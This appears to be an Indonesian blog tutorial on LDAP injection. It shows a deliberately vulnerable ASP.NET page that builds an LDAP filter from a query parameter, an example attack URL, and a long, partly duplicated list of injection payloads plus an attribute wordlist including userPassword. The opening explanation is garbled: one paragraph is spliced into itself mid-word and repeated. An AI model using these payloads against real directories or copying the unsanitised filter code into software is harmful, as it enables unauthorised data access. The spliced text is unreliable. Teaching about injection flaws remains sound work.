Apa Itu LDAP Injcetion Dan Bagaimana Cara Kerjanya?

LDAP Injection adalah teknik serangan yang digunakan untuk mengeksploitasi situs web yang membangun pernyataan LDAP dari input yang disediakan pengguna.

Lightweight Directory Access Protocol (LDAP) adalah protokol standar terbuka untuk query dan memanipulasi layanan direktori dari server target. Protokol LDAP berjalan di atas protokol transport Internet, seperti TCP. Aplikasi web dapat menggunakan input yang disediakan pengguna untuk membuat pernyataan khusus pada LDAP khuInjeksi LDAP adalah teknik serangan yang digunakan untuk mengeksploitasi situs web yang membangun pernyataan LDAP dari input yang disediakan pengguna. Lightweight Directory Access Protocol (LDAP) adalah protokol standar terbuka untuk query dan memanipulasi layanan direktori X.500. Protokol LDAP berjalan di atas protokol transport Internet, seperti TCP. Aplikasi web dapat menggunakan input yang disediakan pengguna untuk membuat pernyataan khusus dari LDAP untuk permintaan halaman web dinamis.

Ketika aplikasi web gagal membersihkan input yang diberikan pengguna dengan benar, penyerang dapat mengubah konstruksi pernyataan LDAP.

Ketika seorang penyerang dapat mengubah pernyataan LDAP, proses akan berjalan dengan izin yang sama dengan komponen yang mengeksekusi perintah. (mis. Server basis data, server aplikasi Web, server Web, dll.).

Ini dapat menyebabkan masalah keamanan serius di mana izin memberikan hak untuk meminta, memodifikasi atau menghapus apa pun di dalam pohon LDAP. Teknik-teknik eksploitasi lanjutan yang sama yang tersedia dalam SQL Injection juga dapat diterapkan secara serupa di LDAP Injection.sus untuk permintaan halaman web dinamis. Ketika aplikasi web gagal membersihkan input yang diberikan pengguna dengan benar, penyerang dapat mengubah konstruksi pernyataan LDAP. Ketika seorang penyerang dapat mengubah pernyataan LDAP, proses akan berjalan dengan izin yang sama dengan komponen yang mengeksekusi perintah. (mis. Server basis data, server aplikasi Web, server Web, dll.). Ini dapat menyebabkan masalah keamanan serius di mana izin memberikan hak untuk meminta, memodifikasi atau menghapus apa pun di dalam pohon LDAP. Teknik-teknik eksploitasi lanjutan yang sama yang tersedia dalam SQL Injection juga dapat diterapkan secara serupa di LDAP Injection.

Bagaimana Cara Kerja LDAP injection?

line 1 using System;
line 2 using System.Configuration;
line 3 using System.Data;
line 4 using System.Web;
line 5 using System.Web.Security;
line 6 using System.Web.UI;
line 7 using System.Web.UI.HtmlControls;
line 8 using System.Web.UI.WebControls;
line 9 using System.Web.UI.WebControls.WebParts;
line 10
line 11 using System.DirectoryServices;
line 12
line 13 public partial class _Default : System.Web.UI.Page
line 14 {
line 15 protected void Page_Load(object sender, EventArgs e)
line 16 {
line 17 string userName;
line 18 DirectoryEntry entry;
line 19
line 20 userName = Request.QueryString["user"];
line 21
line 22 if (string.IsNullOrEmpty(userName))
line 23 {
line 24 Response.Write("Invalid request. Please specify valid user name
");
line 25 Response.End();
line 26
line 27 return;
line 28 }
line 29
line 30 DirectorySearcher searcher = new DirectorySearcher();
line 31
line 32 searcher.Filter = "(&(samAccountName=" + userName + "))";
line 33
line 34 SearchResultCollection results = searcher.FindAll();
line 35
line 36 foreach (SearchResult result in results)
line 37 {
line 38 entry = result.GetDirectoryEntry();
line 39
line 40 Response.Write("

");
line 41 Response.Write("User information for : " + entry.Name + "
");
line 42
line 43 foreach (string proName in entry.Properties.PropertyNames)
line 44 {
line 45 Response.Write("
Property : " + proName);
line 46
line 47 foreach( object val in entry.Properties[proName] )
line 48 {
line 49 Response.Write("
Value: " + val.ToString());
line 50 }
line 51 }
line 52
line 53 Response.Write("

");
line 54 }
line 55 }
line 56 }


Lihat baik baik kode diatas, di baris 20 variable username , variable diatas diawali dengan parameter pengguna "username=" lalu dengan cepat memvalidasi agar bisa melihat hasil yang di input kosong atau tidak, nama pengguna digunakan untuk menginisialisasi properti filter pada baris 32. Dalam skenario ini, penyerang memiliki kontrol penuh atas apa yang akan ditanyakan pada server LDAP, dan ia akan mendapatkan hasil permintaan ketika kode hits baris 34 hingga 53 di mana semua hasil dan atributnya ditampilkan kembali kepada pengguna.



Contoh Serangan

http: //example/default.aspx? user = *
Pada contoh di atas, kami mengirim karakter * dalam parameter pengguna yang akan menghasilkan variabel filter dalam kode yang akan diinisialisasi dengan (samAccountName = *). Pernyataan LDAP yang dihasilkan akan membuat server mengembalikan objek apa pun yang berisi atribut samAccountName. Selain itu, penyerang dapat menentukan atribut lain untuk dicari dan halaman akan mengembalikan objek yang cocok dengan kueri.

Beberapa Payload Yang Sering Digunakan Untuk Penyerangan LDAP injection

*
*)(&
*))%00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y
!
%21
%26
%28
%29
%2A%28%7C%28mail%3D%2A%29%29
%2A%28%7C%28objectclass%3D%2A%29%29
%2A%7C
%7C
&
(
)
)(cn=))\x00
*(|(mail=*))
*(|(objectclass=*))
*/*
*|
/
//
//*
@*
x' or name()='username' or 'x'='y
|
*()|&'
admin*
admin*)((|userpassword=*)
*)(uid=*))(|(uid=*

c
cn
co
commonName
dc
facsimileTelephoneNumber
givenName
gn
homePhone
id
jpegPhoto
l
mail
mobile
name
o
objectClass
ou
owner
pager
password
sn
st
surname
uid
username
userPassword

Post a Comment

0 Comments